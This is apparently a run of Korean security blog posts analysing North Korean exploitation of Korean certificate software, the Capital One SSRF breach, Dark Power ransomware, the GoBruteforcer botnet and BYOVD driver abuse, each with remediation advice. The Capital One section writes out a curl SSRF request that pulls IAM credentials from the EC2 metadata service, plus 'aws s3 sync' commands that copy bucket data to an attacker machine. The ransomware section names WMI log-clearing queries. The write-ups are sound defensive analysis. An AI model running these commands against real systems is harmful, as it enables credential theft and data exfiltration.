1. INISAFE CrossWeb EX V3

- 이니텍에서 제작하였으며, 공동인증서를 사용해 로그인하거나 전자서명할 때 쓰이는 S/W

- 국내 금융기관 및 쇼핑몰 등 다수 홈페이지에서 사용자 인증서 처리를 위해 주로 사용

- 사용자가 홈페이지에 접속하면 자동 설치됨

 

2. 취약점

- 작년말 북한이 해당 S/W의 취약점을 악용해 PC 해킹 및 악성코드 유포 등 해킹한 사실이 국정원·경찰청·KISA 등 유관기관에 의해 적발

- 국가·공공기관 및 방산·바이오업체 등 국내외 주요기관 60여곳의 PC 210여대를 해킹한 사실을 확인

- 해킹에 악용된 S/W는 국내외 1,000만대 이상의 기관·업체·개인 PC에 설치되어 있는 것으로 추정

- 대규모 피해 확산 방지를 위해 관계기관과 합동으로 관련 사실을 공지

영향받는 버전
- INISAFE CrossWeb EX V3 3.3.2.40 이하 버전

 

2.1 취약점 상세

- 해당 취약점은 INITECH사 프로세스(inisafecrosswebexsvc.exe)에 의해 악성 행위가 발생되는 것으로 확인됨

피해 시스템의
inisafecrosswebexsvc.exe
특징
- INITECH사의 보안 프로그램인 INISAFE CrossWeb EX V3의 실행 파일
- 정상 파일과 같은 해시값을 가짐 (MD5:4541efd1c54b53a3d11532cb885b2202)
- INITECH사에 의해 정상 서명된 파일
- INISAFE Web EX Client로 침해 시점 이전부터 시스템에 설치되어 있었으며, 변조의 흔적 또한 발견되지 않음
- 시스템 부팅 시 iniclientsvc_x64.exe에 의해 실행되는데, 침해 당일에도 같은 방식으로 실행

 

- 악성코드인 SCSKAppLink.dll이 inisafecrosswebexsvc.exe 프로세스에 인젝션되어 동작

※ DLL 인젝션: 다른 프로세스의 주소 공간 내에서 DLL을 강제로 로드시킴으로써 코드를 실행시키는 기술

- SCSKAppLink.dll에는 호스트 프로세스에 따라 분기하는 코드가 포함

 

[사진 1] 분기 코드

 

- 분기 코드는 inisafecrosswebexsvc.exe 프로세스에 인젝션되어 동작하는 경우 특정 C2에 접속하여 추가 악성코드를 다운 및 실행

※ svchost.exe, rundll32.exe, notepad.exe에 인젝션 여부를 판단하도록 돼있으나, 해당 분기문에는 실행 코드가 포함되지 않음

 

[사진 2] 호스트가 inisafecrosswebexsvc.exe인 경우 접속하는 C2 주소

 

- C2에 접속하여 임시폴더에 악성코드 main_top[1].htm 다운로드 후 특정 경로에 복사

> 다운로드 경로 : c:\users\<사용자>\appdata\local\microsoft\windows\inetcache\ie\zlvrxmk3\main_top[1].htm

> 복사된 경로 : C:\Users\Public\SCSKAppLink.dll

 

[사진 3] 동작 과정

 

3. 대응방안

① 서비스 운영자: 이니텍를 통해 최신버전 교체_INISAFE CrossWeb EX V3 3.3.2.41

 

② 제품 사용자: 취약한 버전이 설치되어 있는 경우 제거 후 최신버전 업데이트를 진행

> [제어판]-[프로그램]-[프로그램 및 기능]에서 INISAFE CrossWeb EX V3 버전 확인 후 제거 클릭

> 아래 링크를 참고하여, 운영체제에 맞는 최신 버전의 INISAFE CrossWeb EX V3를 설치

※ Windows 클라이언트(v3.3.2.41_32bit) : http://demo.initech.com/initech/crosswebex_pack/3.3.2.41/INIS_EX_SHA2_3.3.2.41.exe

 

③ 침해지표 IoC 보안 장비 적용 [3]

 

3.1 기타사항

① 국정원 조치

> 올해 1월 긴급 대응에 착수, 해당 악성코드의 작동 원리 등에 대한 상세 분석을 완료

> 해당 분석 자료를 근거로 A사와 협조해 실제 공격-방어 시현을 진행하는 등 보안 패치 개발을 완료

> 현재 해당 프로그램을 사용 중인 공공·금융기관을 대상으로 관계기관들과 함께 보안 패치를 진행 중

> 국민 대상 보안 프로그램을 최신 버전으로 신속하게 업데이트 강조

> 23.04.05일 판교 사이버안보협력센터에서 ‘금융보안 SW 침해사고 방지 를 위한 유관기관 간담회’를 개최

※ 과학기술정보통신부·경찰청·KISA·금융감독원·금융보안원 등 정부기관 및 12개 금융보안 SW 제조사가 참여

※ 최신 해킹사례를 공유하고, 유사 사례 재발을 막기 위한 대책을 논의할 계획

>  관계기관과의 적극적인 사이버위협 정보 공유 및 협력을 통해 북한의 해킹위협에 선제적으로 대응할 것

 

② 이니텍 조치

> 지난 1월 독일 보안 전문가 블라디미르 팔란트의 게시글 이미지에 자사 제품이 있어 취약점 점검 및 취약점 확인

> 취약점 발견 후 이를 보완하는 와중에 국정원에서 연락이 옴

> 2월20일 문제가 된 취약점을 완화하는 보안패치 개발을 완료해 배포 중_현재 40%가량의 기업들이 패치를 완료한 상태

 

4. 참고

[1] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71030&menuNo=205020
[2] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=32172&pageIndex=1#LINK
[3] https://asec.ahnlab.com/ko/33706/
[4] https://asec.ahnlab.com/ko/50727/
[5] https://www.boannews.com/media/view.asp?idx=115670
[6] https://www.boannews.com/media/view.asp?idx=115658
[7] https://www.ddaily.co.kr/news/article/?no=260579
[8] https://www.news1.kr/articles/5000945

1. MagicLine4NX

- 드림시큐리티에서 제작한 Non-PlugIn 기반의 인증서 인증, 전자서명, 웹구간 암복호화 솔루션

 

2. 취약점

- MagicLine4NX에서 입력값 검증 미흡으로 인해 발생하는 버퍼오버플로우 취약점

- 이를 악용해 공격자는 악성코드 유포, 원격 명령 실행 등의 악성 행위를 할 수 있음

- 라자루스 해킹조직이 악성코드 유포에 MagicLine4NX 취약점을 악용한 사례가 확인됨

영향받는 버전
- MagicLine 4.0 1.0.0.1 ~ 1.0.0.26 버전

 

2.1 취약점 상세

- MagicLine4NX는 시작 프로그램에 등록됨

- 프로세스가 종료되더라도 특정 서비스 (MagicLine4NXServices.exe)에 의하여 재실행되며, 한번 설치되면 프로세스에 항상 상주

 

- 라자루스 해커그룹의 공격 방식은 다음과 같음

① MagicLine4NX 취약점을 통해 svchost.exe 프로세스에 인젝션

악성 프로그램 다운로드 및 실행

[사진 1] 공격 방식

3. 대응방안

① 최신버전 업데이트 적용

- MagicLine 4.0 1.0.0.27 버전

※ MaginLineNX가 설치되어 있는 경우 삭제 후 재설치

 

② 취약한 버전의 MagicLineNX가 설치된 경우 삭제조치

- 버전 확인 방법

> [내 컴퓨터] – [로컬 디스크(C:\)] – [Program Files(x86)] – [DreamSecurity] – [MagicLine4NX] 경로로 이동
> MagicLine4NX에 마우스 오른쪽 버튼 클릭 – 속성 – 자세히 탭 클릭 – 파일 버전 확인

 

- 프로그램 삭제 방법

> [시작] - [시스템] - [제어판] - [프로그램 및 기능] - MagicLineNX 선택 - [제거] 클릭

> [내 컴퓨터] - [로컬 디스크(C:\)] - [Program Files(x86)] - [DreamSecurity] - [MagicLin4NX] 경로로 이동 - MagicLine4NX_Uninstall.exe 프로그램 실행

 

4. 참고

[1] https://asec.ahnlab.com/ko/50134/
[2] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=27568&pageIndex=1#LINK
[3] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71023
[4] https://www.boannews.com/media/view.asp?idx=115500&kind=1&search=title&find=%BA%CF%C7%D1 \

1. 사이버 위협 전망으로 살펴보는 엔드포인트 위협 시나리오 및 대응 전략

- 사이버 보안 전망

① 랜섬웨어

> 최소 공격으로 최대 수익 창출 전략

> 신속한 정보 수집과 파악이 필요

 

② 기생형 공격 - APT 공격

> 기업 내 인프라 장악 목표

> 시스템 전반에 걸친 통합 보안체계 구축 및 모니터링 필요

 

③ 파급력 높은 취약점

> Log4j, ZeroDay, BYOVD, 다크웹 등에서 활발히 거래되는 중

 

④ 공급망 공격

> PC 영역에서 모바일 영역으로 확대되는 중 ex) 인증서 탈취

> 개발/배포 단계에서 보안을 반드시 고려해야 함

 

- 엔드포인트 위협 과정: 유포 > 감염 > 권한 상승 > 내부 이동 > 정보 탈취

 

- 엔드포인트 대상 관제 범위 확대 필요성

> 공격 기법의 정교화: 철저한 사전 분석을 거친 타깃형 악성코드 제작

> 정상 파일 악용 보안제품 우회: 윈도우 정상 파일 또는 정상 도구들을 사용

> 파일리스 악성코드의 증가: 웹 브라우저 취약점을 악용한 파일리스 형태의 악성코드 증가

> 네트워크 기반 보안 관제 한계: 정상 인증 기반의 초기 침투 및 엔드포인트 대상의 정교화된 공격 대응 한계

> 내부 이동 공격의 가시성 제약: 내부-내부 또는 내부-외부의 방향성에 대한 가시성 문제

> 침해사고 인지의 어려움: 다양한 방식으로 지속성을 유지하는 APT의 경우 침투 부터 데이터 탈취까지 인지하기 어려움

 

- 엔드포인트 보안 강화를 위한 필수 솔루션

① TIP (Threat Intelligence Platform)

> 여러 소스 및 형식에서 위협 인텔 데이터를 수집, 집계 및 구성하는 기술 솔루션

> 최신 위협 정보 수집을 통해 정보유출 및 최신 공격 트렌드에 빠르게 대응

> 위협 정보 수집 및 연관성 확인 > 피해 우려 시 탐지 정책 적용 및 대응 > 최신 위협 대응

 

② EDR (Endpoint Detection & Response)

> 엔드포인트의 보안 강화 목적으로 구축되어 표적형 공격이나 랜섬웨어 등에 의한 사이버 공격을 탐지, 대응을 위해 사용하는 엔드포인트 보안 솔루션

> 엔드포인트 대상 행위 모니터링을 통한 위협 가시성 확보

> 위협 행위정보 수집 및 저장 > 위협 가시성 확보 > 상시 위협 모니터링

 

③ HIPS (Host Based IPS)

> 호스트에서 감사 기록이나 들어오는 패킷 등을 검사해 침입을 탐지 및 감염 차단을 수행하는 시스템

> 서버 OS 대상 취약점 관리, 클라우드 환경 탐지/대응, 행위 기반 위협 탐지 및 대응이 가능

 

- 중소 규모의 경우  SOAR Basic 사용 가능

> 모니터링 인력의 부재 or SOC 전담 부서의 부재 or 보안 업무의 자동화 or SIEM 활용의 어려움 = SOAR Basic

 

2. 2023년 최신 클라우드 보안 위협과 대응 방안

- 공격자가 클라우드 환경을 노리는 이유

> 해킹의 용이성: 허술한 계정 관리, 다양한 접속 경로, 빠른 탐지의 어려움 등

> 확산의 용이성: 내부 이동을 통한 계정 장악 용이

> 민감 데이터 다수 보유

 

- 클라우드 이용 유형에 따라 다양한 운영 환경이 존재

> 각 환경별로 적합한 보안을 구축해야할 필요성

> On-Premise 환경 대비 취약성 증가: 멀티 클라우드 운영 + 제로 트러스트 보안 + 다양한 접속 경로...

 

- 클라우드 보안 위협 7가지

> 데이터 유출

> 계정 탈취

> 내부자 위협

> 사용자 설정 오류

> 클라우드 보안 아키텍처 미흡

> 불안정한 인터페이스 및 API

> 신원, 엑세스 관리 미흡

 

> 대부분의 클라우드 보안 사고의 원인은 "최종 사용자 오류 또는 부주의" 즉, 인적자원에 인한 발생

> 팔로알토 네트웍스 조사 결과 99%가 60일동안 사용하지 않은 "과잉 권한(부적절한 권한 설정)" 부여

 

- 클라우드 보안 패러다임의 변화

> 개발자 중심에서 비즈니스 중심으로

> 탄력적인 적응형 시스템으로 신속한 피해 최소화

> 개발 및 운영 전반에 걸친 보안 관리의 필요

 

- 클라우드 위협 대응 전략 및 대응 방안

> 네트워크 위협 탐지, 취약점 탐지, 이상행위 탐지의 선행이 필요

> 최소 권한 접근 제어를 통해 제로 트러스트 보안 강화

> 클라우드 내, 외부 모두 보안 강화 필요

> 클라우드 설정 오류 방지

1. 개요

- 2019.07.29 미국의 금융지주회사인 캐피탈 원(Capital One)이 해킹으로 인해 1억 6000만 명의 고객 개인정보가 유출

- 캐피탈 원은 해킹으로 인해 1억 5000만 달러의 피해가 발생 (당시 환율 기준 약 1773억 원)

- 유출된 개인정보는 2005~2019 초까지 신용카드를 신청한 고객들의 정보로 이름, 주소, 생년월일 등의 신상정보신용 점수 및 한도, 예금 잔액 등의 금융정보가 포함

- 그 외 2016~2018 중 23일간의 거래 내역, 14만명의 사회보장번호, 8만개의 계좌번호도 유출

- 캐피탈 원은 해킹 흔적 발견 직후 수사당국에 신고하였으며, FBI는 용의자로 시애틀에 위치한 IT 기업의 소프트웨어 엔지니어 페이지 톰슨을 검거

- 톰슨은 2016년 AWS에서 시스템 엔지니어로 근무한 이력이 있음

 

1.1 요약

- 공격자는 SSRF 취약점을 이용해 AWS EC2 메타데이터 서비스에 엑세스하여 AWS 액세스 키에 접근

- 대상 애플리케이션이 WAF 뒤에 위치했지만, Bypass가 사용되었거나 WAF가 공격을 차단하도록 구성되지 않았음

- 키를 이용해 공격자는 로컬 디스크에 S3 버킷을 나열 및 동기화하여 버킷에 포함된 모든 데이터에 엑세스가 가능해짐

※ EC2 (Elastic Compute Cloud): 아마존에서 크기 조정이 가능한 컴퓨팅 용량을 제공하는 웹 서비스

※ S3 (Simple Storage Service): 클라우드 공간에 데이터(파일)를 저장하고 사용자에게 제공해 주는 온라인 스토리지 웹 서비스

 S3 버킷(Bucket): S3에서 연관된 객체들(데이터들)을 그룹핑한 최상위 디렉토리

 

1.2 SSRF (Server Side Request Forgery)

- 2021에 발표된 OWASP TOP 10에 신설된 항목 

- 서버 측에서 위조된 요청을 보내도록 하여 일반적으로 사용자들이 접근할 수 없는 내부 자원에 접근하여 악성행위가 가능한 취약점

- 즉, 취약한 서버를 이용하여 공격자가 내부 서버에 원하는 요청을 전송하여 정보를 탈취하는 공격 유형

[사진 1] SSRF 동작 방식

2. 분석

2.1 SSRF를 이용한 AWS 자격 증명 탈취

- AWS에서 작동되는 EC2에서만 메타데이터 서비스(hxxp://169.254.169.254)에 엑세스가 가능함

- 일반적으로 해당 URL은 VM의 IP 주소, AWS 네트워크 내 배치, 호스트 이름 등의 정보를 HTTP API로 제공하며 AWS 클라우드 애플리케이션 개발자에게 매우 유용하게 사용됨

- 공격자는 SSRF를 통해 서버를 자신의 요청에 대한 프록시로 취급하도록 서버를 속여 내부망의 엔드포인트에 엑세스

[사진 2] SSRF

2.2 권한 상승

- 공격자는 위 SSRF 공격 결과와 AWS EC2 서버가 임시 크리덴셜이 포함된 엔드포이트에 엑세스할 수 있다는 지식을 결합하여 다음 URL에 대한 요청을 전송

hxxp://169.254.169.254/iam/security-credentials

- 엔드포인트의 반환 목록 중 “ISRM-WAF-Role”를 통해 엑세스한 서버가 캐피탈 원의 WAF일 것이라고 추측

- 공격자는 "ISRM-WAF-Role”를 이용해 SSRF 공격을 사용하였고, 엔드포인트는 자격 증명 세트를 반환

<요청>
curl hxxp://example.com/?url=hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role

<응답>
{ 
    AccessKeyId: "<액세스 키>", 
    SecretAccessKey: "<비밀 키>", 
}

- 인스턴스 메타데이터를 통해 연결된 IAM 역할에 대한 AWS 자격 정보를 요청할 때 응답은 다음과 같은 형식을 지님

[사진 3] 요청에 따른 반환 예시

2.1.1 자격 증명 추가

- 공격자는 "aws configure" 명령을 사용해 [사진 3]에서 확인된 자격 증명 데이터를 로컬 AWS CLI에 추가

- 또한, 텍스트 편집기를 이용해 [사진 3]에서 확인된 토큰을 환경변수 또는 ~/.aws/credentials 파일의 aws_session_token에 등록

[사진 4] ~/.aws/credentials 예시

2.3 S3의 데이터에 엑세스

- 자격 증명 추가 후 아래 명령으로 AWS STS를 호출해 자격 증명을 확인하여 올바르게 설정되었는지 확인

- 해당 명령은 사용자 ID, 계정 번호 및 ARN(Amazon 리소스 번호)를 출력함

- 명령: aws sts get-caller-identity –profile example

※ Linux 시스템에서 현재 사용자의 이름을 출력하는 명령어인 whoami 명령

{
    "UserId": "AROA5A6IYBDLAKYYJCQQQ:i-07160cbf7c64abcdef9",
    "Account": "0070074815830",
    "Arn": "arn:aws:sts::0070074815830:assumed-role/ISRM-WAF-Role/i-07160cbf7c64abcdef9"
}

 

- 훔친 키와 토큰으로 AWS CLI를 설정한 후 명령을 통해 계정에서 사용 가능한 S3 버킷을 나열

- 명령: aws s3 ls --profile example

- 공격자는 sync 명령으로 700개 정도의 S3 버킷의 내용을 다운로드

- 명령: aws s3 sync s3://bucket-credit-card-numbers /home/attacker/localstash/capitalone/ --profile example

 

3. 문제점

3.1 조사 중 확인된 문제점

① 사용자 데이터를 처리하는 과정에서 적절한 검증없이 서버에 입력값 전달

- 입력값에 대한 부적절한 검증으로 웹 응용 프로그램에서 SSRF 취약점이 이용됨

 

② 잘못된 구성된 역할 및 권한에 따른 불필요 권한 제공

- ISRM-WAF-Role이 필요하지 않은 상황에도 IAM 자격 증명을 반환함

 

③ 암호화 부재

- AWS S3 데이터 스토리지는 암호화되지 않음

 

④ 모니터링 부재

- IAM 및 AWS STS API 호출과 민감한 데이터 특성을 고려한 S3 읽기/쓰기에 대한 모니터링

 

3.2 보고된 Cloud 취약점

① 클라우드 설정 오류 때문에 발생하는 보안 사고는 아직도 지나치게 많은 수준

> 과도한 권한 부여, 잘못된 보안 설정 등

 

② SSRF는 Cloud 환경에 오래전부터 알려진 위협

> RSA Conference 2015에서 SSRF 취약점을 활용한 API 키 및 자격 증명 데이터 탈취 발표

 

4. 보안 권장 사항

① 각 애플리케이션, EC2 인스턴스 또는 자동 확장 그룹에 고유한 IAM의 존재 확인

> 관련 없는 애플리케이션 간 역할 공유 금지

 

② 과도한 권한 설정 금지

> 필요한 AWS 리소스에만 엑세스할 수 있도록 각 역할의 권한 설정

 

③ 접근 통제

> 허가된 IP 또는 VPC 엔드포인트에 대한 접근 통제

 

④ 모니터링

> 전사 차원의 AWS CloudTail 활성화 여부 점검 및 로그 모니터링

 

5. 참고

[1] https://www.capitalone.com/digital/facts2019/
[2] https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea
[3] https://blog.appsecco.com/an-ssrf-privileged-aws-keys-and-the-capital-one-breach-4c3c2cded3af
[4] https://www.techtarget.com/searchsecurity/news/252467901/Capital-One-hack-highlights-SSRF-concerns-for-AWS
[5] https://www.justice.gov/usao-wdwa/press-release/file/1188626/download
[6] https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/
[7] https://www.itworld.co.kr/news/129854
[8] https://it.chosun.com/site/data/html_dir/2019/07/31/2019073101186.html
[9] https://zdnet.co.kr/view/?no=20190816173209
[10] https://www.boannews.com/media/view.asp?idx=107662

'클라우드 > 보안 사고' 카테고리의 다른 글

Snowflake 데이터 탈취  (2) 2024.07.15

1. 개요

- 23.02 말 새로운 랜섬웨어 단체 다크파워(Dark Power)가 확인됨

- 약 한달동안 최소 10개의 조직을 침해했다고 주장하며, 10,000달러라는 비교적 소액의 몸값을 요구

- 프로그래밍 언어로 "님(Nim)"을 사용

 

1.1 님(Nim)

- 범용 목적의 다중 패러다임의 정적 자료형, 컴파일 시스템 프로그래밍 언어

- 고차원적인 프로그래밍 언어로, 효율성이 높고 다양한 것을 구사할 수 있음

- 대중적이지 않고, 사용이 어렵지 않으며, 여러 플랫폼을 지원하는 장점으로 최근 멀웨어 개발자들이 적극 이용

> 님 기반으로 작성된 멀웨어에 대한 대응 방안이나 솔루션이 충분하지 않아 주의가 요구됨

> 새로운 언어를 익히는 것은 상대적으로 공격자보다 방어자가 더 어렵고 비용이 많이 듬

※ 공격자는 원하는 수준까지 익히지만, 방어자는 대응을위해 더 많은 영역을 알아야 함

 

2. 다크파워 (Dark Power)

- 다크파워를 비롯한 랜섬웨어의 유포 및 공격 방식은 다음과 같음

① 사회공학적기법 등으로 피해자에게 접근 ex) 피싱메일, 패치 되지않은 취약점

② 피해자 파일 다운로드 유도

③ 파일 다운 후 실행 시 랜섬웨어 실행 및 파일 암호화

④ 복호화를 빌미로 비트코인 등 몸값 지불 요구

 

2.1 동작과정

① 암호화 키 초기화

- 최초 랜섬웨어가 실행되면, 임의의 64자의 소문자 ASCII 문자열을 생성

- 해당 문자열은 암호화 알고리즘을 초기화하는데 사용됨

[사진 1] 암호화 키

 

② 서비스, 프로세스 종료 및 암호화 제외 파일 설정

- 서비스 종료

> 서비스를 비활성화함으로써 파일을 복구하기 어렵게 만듬

> 대표적으로 VSS(Volume Shadow Copy Service)이 있음

VSS(Volume Shadow Copy Service)
- 볼륨 백업을 수행하고 일관된 특정 시점의 데이터 복사본을 만들기위한 프레임 워크를 제공하는 Microsoft Windows의 COM 인터페이스 집합
- 특정한 시각의 파일, 폴더의 복사본이나 볼륨의 스냅샷을 저장해두고 복원할 수 있는 기능

 

- 프로세스 종료

> WMI "winmgmts:{impersonationLevel=impersonate}!.\root\cimv2"에 쿼리 "select * from win32_process" 수행

> 해당 쿼리는 실행 중인 모든 프로세스의 목록을 반환하고, 미리 정의된 프로세스 이름과 일치된 항목은 모두 종료

WMI(Windows Management Instrumentation)
- 시스템 내의 자원들을 로컬/원격 환경에서 관리할 수 있는 도구의 집합

 

[사진 2] 종료할 프로세스 목록

 

- 암호화 제외 대상 설정

> 서비스와 프로세스 종료 후 암호화 대상에서 제외할 파일 확장자, 파일 이름, 폴더 이름 설정

 

[사진 3] 암호화에서 제외할 확장자(上) 파일 이름(中) 폴더 이름(下)

 

③ 흔적 지우기

- 서비스, 프로세스 종료한 뒤 30초의 대기 후 콘솔과 로그를 지움

> 콘솔 지우기: "C:\Windows\system32\cmd.exe /c cls"

> 로그 지우기: WMI 쿼리 "Select * from Win32_NTEventLogFile" 및 "ClearEventLog()"

 

④ 랜섬노트 표시

- 피해 사실을 알리기 위해 랜섬노트 표시

 

2.2 특이사항

- 두 가지 버전의 랜섬웨어가 존재하며 각각 암호화 키와 형식이 다름

① 첫 번째 변형

> SHA-256 알고리즘으로 ASCII 문자열을 해시

> 해시 결과를 두 부분으로 분할

> 첫 번째 분할은 AES키로, 두 번째 분할은 초기화 벡터 IV로 사용

 

② 두 번째 변형

> SHA-256 다이제스트를 AES 키로 사용

> 암호 초기화 벡터로 고정 128비트 값 사용

 

3. 대응방안

① IoC 적용 [1]

 

② 랜섬웨어 기본 대응방안 준수 [4]

 

4. 참고

[1] https://www.trellix.com/en-us/about/newsroom/stories/research/shining-light-on-dark-power.html
[2] https://www.bleepingcomputer.com/news/security/new-dark-power-ransomware-claims-10-victims-in-its-first-month/
[3] https://www.boannews.com/media/view.asp?idx=115538&page=2&kind=1 

[4] https://ggonmerr.tistory.com/44

'랜섬웨어 > 분석' 카테고리의 다른 글

LockBit 랜섬웨어 동향  (0) 2023.06.16
ESXiArgs Ransomware  (0) 2023.02.15
Masscan 랜섬웨어  (0) 2022.10.12
LockBit 3.0 랜섬웨어 빌더 분석  (1) 2022.10.04

1. 개요

- 최근 고 언어 기반의 스캐너 고브루트포서(GoBruteforcer)라는 봇넷 멀웨어가 새롭게 발견

- FTP, MySQL, phpMyAdmin, Postgre 서비스를 제공하는 서버를 대상으로 함

- 스캔을 통해 열려 있는 포트들을 찾아내면, Bruteforce 통해 침투 후 IRC 봇 유포

 

2. 동작방식 [1]

- 특정 서비스(phpMyAdmin, MySQL, FTP, Postgres)를 제공하는 웹 서버를 대상으로 스캔 후 Bruteforce로 액세스 시도\

※ Postgres: 확장 가능성 및 표준 준수를 강조하는 객체-관계형 데이터베이스 관리 시스템

- Bruteforce를 위한 계정 정보 및 C2 서버와 통신을 위한 명령은 스캐너 내에 하드코딩 되어있음

① 80_phpMyAdmin, 21_FTP, 3306_MySQL, 5432_Postgres 포트가 열린 웹 서버를 스캔

② 해당 서버가 phpMyAdmin인지, 다른 서버인지 확인 후 Bruteforce 수행

③ 공격자가 제어하는 C2와 통신하기 위해 서버의 유형에따라 통신 수단이 다름

> phpMyAdmin: 피해 시스템에 IRC 봇 유포

IRC(Internet Relay Chat) 봇
- IRC(Internet Relay Chat) 실시간 채팅 프로토콜에서 작동하는 자동화된 소프트웨어 프로그램
- 일반적으로 프로그래밍 언어의 스크립트로 작성되며, 채팅방에서 입력된 명령어를 인식하고 해당 명령에 따라 프로그래밍 된 동작을 수행

> 타 서비스: 피해 시스템에 웹 쉘 업로드

 

[사진 1] 공격 방식

2.1 네트워크 스캔

- 주어진 대상 IP 대역을 대상으로 phpMyAdmin, MySQL, FTP, Postgres 서비스 검색

[사진 2] 서비스 체크

2.1.1 phpMyAdmin 서비스

- 스캐너는 80 포트가 Open 되어있는지 확인

- 오픈된 포트를 찾은 경우 스캐너 내 하드코딩된 자격 증명 세트를 이용해 Bruteforce 수행

- 접속 성공 후 IRC 봇 배포 및 C2와 통신을 수행

> IRC 봇은 주기적인 실행을 위해 cron 등록

[사진 3] IRC 봇과 C2 간 통신

2.2.2 MySQL, Postgres 서비스

- 스캐너는 3306, 5432 포트가 Open 되어있는지 확인

- 오픈된 포트를 찾은 경우 서버 데이터베이스에 특정 사용자 계정으로 ping을 보냄

[사진 3] MySQL 쿼리(위) 및 Postgres 쿼리(아래)

 

- 이후, PostResult 모듈을 호출해 C2 서버와 통신

[사진 4] PostResult 모듈을 이용한 C2 통신

2.2.3 FTP

- 스캐너는 21 포트가 Open 되어있는지 확인

- 오픈된 포트를 찾은 경우 Golang용 FTP 클라이언트 패키지의 goftp라이브러리를 사용하여 서버에 인증 시도

[사진 5] FTP 인증 시도

2.2 C2 통신

- 피해자 서버에 업로드한 웹쉘을 통해 통신을 수행

- 웹쉘에는 리버스 쉘, 바인드 쉘 기능과 패킷 제작 기능이 있음

 

3. 대응방안

① 모니터링 강화

 

② 침해지표 IoC 등을 보안장비에 적용

- 참고의 IoC를 참고하여 적용[1]

 

4. 참고

[1] https://unit42.paloaltonetworks.com/gobruteforcer-golang-botnet/
[2] https://www.boannews.com/media/view.asp?idx=115111&kind=1&search=title&find=GoBruteforcer
[3] https://www.youtube.com/watch?v=_HV3gzZLPWM

'취약점 > Scanner' 카테고리의 다른 글

SIPVicious scanner  (0) 2022.12.09
Masscan Scanner  (0) 2022.10.06
ZGrab Scanner  (0) 2022.10.06

1. BYOD (Bring Your Own Device)

- 개인 소유의 스마트기기 또는 모바일 장비를 이용해 회사 데이터베이스와 애플리케이션 등에 액세스해서 업무를 처리하는 것을 의미

- 기업은 하드웨어 교체 비용, 소프트웨어 라이선스 구입 및 유지 비용 등을 절감 가능

- 장소나 시간에 관계 없이 개인 기기에서 자유롭게 업무 문서를 열람 가능하여 생산성과 업무 속도 개선

 

2. BYOVD (Bring Your Own Vulerable Device)

- BYOD (Bring Your Own Device)에서 파생된 단어로, 취약점이 존재하는 드라이버를 포함하고 있는 프로그램을 악용

> 최신 윈도우 운영체제에서는 더 이상 서명되지 않은 드라이버 로드는 불가

> 그러나, 합법적으로 서명된 드라이버 모듈은 로드할 수 있음

> 이러 악용하여 취약한 공급업체의 드라이버 모듈로 커널 메모리를 조작

 

- 합법적인 서명을 포함하고 있어 윈도 운영체제에서 정상적으로 구동되지만 사실은 취약점이 있는 드라이버를 활용해 공격 대상의 시스템에 접근 권한을 얻는 방식의 공격 기법

- 즉, 개인의 기기에 설치된 특정 소프트웨어의 보안패치가 미적용된 환경을 이용하는 공격 유형

- 드라이버의 권한을 이용하므로 커널 메모리 영역에 읽고 쓰는 것이 가능해, 백신 및 PC 모니터링 시스템 등도 무력화 가능

 

2.1 북한 라자루스 그룹의 ene.sys 드라이버를 악용한 루트킷 배포 [1]

- ENE Technology에서 제작한 ene.sys 드라이버 모듈은 오픈소스인 WinIO 라이브러리로 작성됨

- 유저 영역에서 커널의 물리 메모리와 I/O 포트에 직접 접근을 가능하게 해주는 모듈

 

- 드라이버의 물리 메모리 접근 방식은 “ZwMapViewOfSection” API를 통한 공유 메모리 매핑 방식

- 메모리 매핑은 드라이버의 기능에 따라 필요 여부가 나뉘지만, 해당 기능을 사용하려면 드라이버를 호출하는 프로세스에 대한 검증이 철저히 이루어져야

 

2.1.1 호출 프로세스 검증 로직

① SB_SMBUS_SDK.dll 모듈 로드 검증

- ene.sys는 드라이버 실행 시점에 “PsSetLoadImageNotifyRoutine” API를 호출하여 모듈 처리와 관련된 콜백 루틴을 커널에 등록

- 콜백루틴은 프로세스가 로드하는 모듈이 SB_SMBUS_SDK.dll 인지 확인하고, 맞다면 해당 프로세스를 신뢰할 수 있는 프로세스로 인지하여 PID 정보를 ene.sys 전역변수에 저장

- 신뢰할 수 있는 프로세스가 되어 프로세스와 ene.sys 간 IOCTL 통신을 할 수 있게됨

※ IOCTL

> 컴퓨터 사용자와 커널을 잇는 인터페이스의 일부

> 사용자 공간의 코드가 하드웨어 장치, 커널 구성 요소와 통신할 수 있게 도와주는 역할

 

② AES 암호화가 이용된 IOCTL 통신 및 호출시간 검증

- 유저 영역의 프로세스가 ene.sys에 물리 메모리 매핑을 요청하기 위해서는 특정 IOCTL 값 (0x80102040)_WINIO_PHYSICAL_MEMORY_INFO_EX 구조체 정보를 드라이버에 전달하여 검증을 받음

typedef struct
_WINIO_PHYSICAL_MEMORY_INFO_EX {
중략
ULONG_PTR BusAddress; // 메모리 매핑을 원하는 물리 메모리 주소
중략
UCHAR EncryptedKey[16]; // 현재 시간 값에 대한 AES-ECB로 암호화한 값
} WINIO_PHYSICAL_MEMORY_INFO_EX, *
PWINIO_PHYSICAL_MEMORY_INFO_EX;

- 검증은 구조체 중 EncryptedKey변수를 이용하며, IOCTL 호출 시점의 시각IOCTL을 드라이버로부터 전달받아 처리한 시간차이가 2ms 미만일 경우 유효한 것으로 인지 후 IOCTL 처리

[사진 1]&nbsp;ene.sys의 호출자 및 유효 데이터 검증 절차

- ene.sys 드라이버 모듈은 유저 영역에서 물리 메모리 영역 매핑과 관련된 다음 취약점이 존재

> 오래된 오픈 소스 라이브러리 사용

> 자유로운 메모리 영역 접근

> 해당 모듈을 호출한 프로세스와 데이터의 유효성 검증 취약

※ ene.sys는 MSI 의 RGB 램 모듈을 제어하는 모듈로 위장되어 악성코드가 배포되고 있음

 

2.1.2 루트킷 악성코드

- 루트킷 자체는 로더 내 DLL로 위치하여 실행 시 ene.sys를 이용해 루트킷의 PreviousMode 주소 값을 0으로 변조

